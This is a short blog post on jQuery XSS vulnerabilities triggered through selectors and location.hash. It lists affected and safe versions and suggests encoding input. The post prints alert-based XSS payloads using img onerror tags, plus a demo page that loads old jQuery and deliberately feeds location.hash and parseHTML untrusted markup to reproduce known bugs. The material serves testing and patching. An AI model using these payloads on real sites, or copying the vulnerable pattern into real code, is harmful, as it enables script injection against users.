jQuery XSS漏洞处理方式

分类：Javascript |

jQuery CSS selector, Client Potential XSS


解决方法:

使用 encodeURIComponent 编码输入的信息, 


jQuery with XSSDemo：

Note: Source code changes jQuery version，As long as there is no bullet window, there will be no problem.！

Test version：

Safe version：

  • 1.12.0, 1.12.1

  • 2.2.0, 2.2.1

  • 3.0.0, 3.0.1, 3.1.0, 3.1.1


jQuery XSS Payload:
url?#<img src=/ onerror=alert(1)>

#<img src=/ onerror=alert(1)> 

#p[class='<img src=/ onerror=alert(2)>']


测试文件: 


<!DOCTYPE html>
<html lang="zh">
 
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Jquery XSS</title>
    <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->
    <script>
        $(function () {
            // #9521
            // #11290
            $(location.hash);
            // #11974
            $('#bug').on('click', function () {
                $.parseHTML("<img src='z' onerror='alert(\"bug-11974\")'>");
                return false;
            });
        })
    </script>
</head>
 
<body>
    <h1>jQuery with XSS</h1>
    <h2>Demo：</h2>
    <p style="color:red;">Note: Source code changes jQuery version，As long as there is no bullet window, there will be no problem.！</p>
    <ul>
        <li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a
                href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>
        <li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a
                href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>
        <li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"
                target="_blank">ticket</a></li>
    </ul>
    <h2>Test version：</h2>
    <ul>
        <li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>
    </ul>
    <h2>Safe version：</h2>
    <ul>
        <li>1.12.0, 1.12.1 </li>
        <li>2.2.0, 2.2.1</li>
        <li>3.0.0, 3.0.1, 3.1.0, 3.1.1</li>
    </ul>
</body>
 
</html>


http://research.insecurelabs.org/jquery/test/

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